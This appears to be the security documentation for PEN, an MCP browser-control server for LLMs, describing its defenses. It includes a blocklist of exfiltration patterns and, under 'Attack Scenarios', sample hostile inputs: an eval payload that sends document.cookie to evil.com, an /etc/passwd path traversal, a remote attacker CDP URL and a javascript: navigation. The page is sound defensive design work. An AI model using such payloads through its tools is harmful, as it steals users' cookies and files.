Skip to content
PEN Docs

Security

PEN sits between CDP (full browser control), MCP (LLM-driven tool calls), and the local filesystem. Every boundary is locked down.

Overview

BoundaryThreatDefense
MCP ← LLMMalicious eval, read sensitive filesEval gating, expression blocklist, path validation
MCP ← LLMNavigate to dangerous URLsURL scheme validation
PEN → ChromeFull browser accessLocalhost-only CDP
PEN → File SystemTemp files, path traversalTemp dir isolation, path checks
PEN → NetworkSource map fetchingNot implemented (by design)

Any LLM connected over MCP can call any registered tool with whatever parameters it wants. The gates below stop misuse.

Gate 1: Eval Gating

pen_evaluate is the scariest tool — it runs JS straight in the browser.

Off by default. It only exists if you pass --allow-eval at startup. Without that flag, the tool never shows up in tools/list and can't be called.

Gate 2: Expression Blocklist

Even with --allow-eval on, PEN blocks known-dangerous patterns:

PatternWhat it blocks
fetch(Network exfiltration
XMLHttpRequestNetwork exfiltration
navigator.sendBeaconData beaconing
localStoragePersistent storage access
sessionStorageSession storage access
document.cookieCookie theft
window.open(Popup/redirect abuse
eval(Dynamic code execution
Function(Dynamic code execution
import(Dynamic module loading

Unicode escape sequences (\uXXXX) are also rejected to prevent sneaking past the blocklist.

This is defense-in-depth, not an airtight sandbox. A motivated attacker can dodge regex filters. The real protection is Gate 1: just don't enable eval.

Gate 3: Path Traversal Prevention

Source tools accept file paths. ValidateSourcePath stops traversal cold:

  • Resolves the path to an absolute path
  • Checks it's within the project root using filepath.Rel
  • Handles case-insensitive filesystems and mixed separators
  • Rejects any path that resolves outside the root

Temp files are validated separately — must be within os.TempDir()/pen/.

Gate 4: CDP Localhost Restriction

PEN only connects to localhost (localhost, 127.0.0.1, ::1, 0.0.0.0, and IPv4-mapped IPv6 addresses like ::ffff:127.0.0.1). Anything else is rejected before the MCP server even starts.

For remote browsers, use SSH tunneling:

bash
ssh -L 9222:localhost:9222 user@remote-server
pen --cdp-url http://localhost:9222

Gate 5: URL Scheme Validation

pen_navigate and pen_lighthouse validate URLs before any action:

Blocked SchemeWhy
javascript:Code execution
data:Arbitrary content rendering
file:Filesystem access
chrome: / about:Internal browser pages
ftp:Unencrypted protocol
ws: / wss:WebSocket connections
blob:In-memory content
vbscript:Legacy script execution

Only HTTP and HTTPS get through.

Gate 6: Rate Limiting

Heavy tools get cooldowns to prevent runaway resource use:

ToolCooldown
pen_heap_snapshot10s
pen_capture_trace5s
pen_collect_garbage5s

Gate 7: Temp File Isolation

  • Directory: os.TempDir()/pen/ with 0700 permissions
  • Files: 0600 permissions (owner-only read/write)
  • Cleaned up on normal exit and on context cancellation via defer

Gate 8: Size Caps

Hard limits prevent runaway captures from exhausting host resources:

OperationHard Cap
Heap snapshot2 GB
Chrome trace500 MB
Screenshot5 MB
Eval output50 KB

When a cap is hit, PEN aborts the operation, cleans up the temp file, and returns a clear error explaining the limit.

Gate 9: HTTP Transport

When using HTTP mode:

  • Default bind: localhost:6100 — not exposed to network
  • Warning logged if binding to all interfaces
  • No built-in auth — for network exposure, use a reverse proxy with auth

Attack Scenarios

LLM tries to exfiltrate data via eval

json
{ "expression": "fetch('https://evil.com?d=' + document.cookie)" }
  1. Default: Tool doesn't exist. MCP says "unknown tool."
  2. With --allow-eval: Blocked by the expression filter (fetch( pattern).
  3. Obfuscated: Regex might miss it — which is exactly why Gate 1 (not enabling eval) is your real line of defense.

Path traversal via source tools

json
{ "urlPattern": "../../../../etc/passwd" }

ValidateSourcePath resolves to /etc/passwd, checks it against the project root, and rejects it.

Rapid-fire heavy tool calls

text
pen_heap_snapshot → success
pen_heap_snapshot → blocked (cooldown: 10s)

Remote CDP connection attempt

bash
pen --cdp-url ws://attacker.com:9222/devtools/browser

Rejected at startup. PEN shuts down before the MCP server can even start.

Malicious navigation

json
{ "url": "javascript:alert(document.cookie)", "action": "goto" }

Blocked immediately. javascript: isn't allowed. The request never reaches Chrome.

Security Checklist

ControlStatus
pen_evaluate requires --allow-eval✓
Expression blocklist + Unicode escape check✓
Path traversal prevention (source paths)✓
Path traversal prevention (temp paths)✓
CDP restricted to localhost✓
URL scheme validation (navigate/lighthouse)✓
Temp files: 0600 perms, isolated dir✓
Temp files cleaned on exit✓
Rate limiting on heavy operations✓
Size caps on heavy captures (2GB heap, 500MB trace)✓
HTTP binds to localhost by default✓
Graceful shutdown with 5s timeout + forced exit✓
CDP disconnect detection (automatic reconnect awareness)✓

Recommendations

  • Never enable --allow-eval in production or untrusted environments
  • Always set --project-root to limit source tool access
  • Never expose port 9222 to the network
  • Use SSH tunneling for remote browsers
  • Use a reverse proxy with auth if exposing PEN's HTTP transport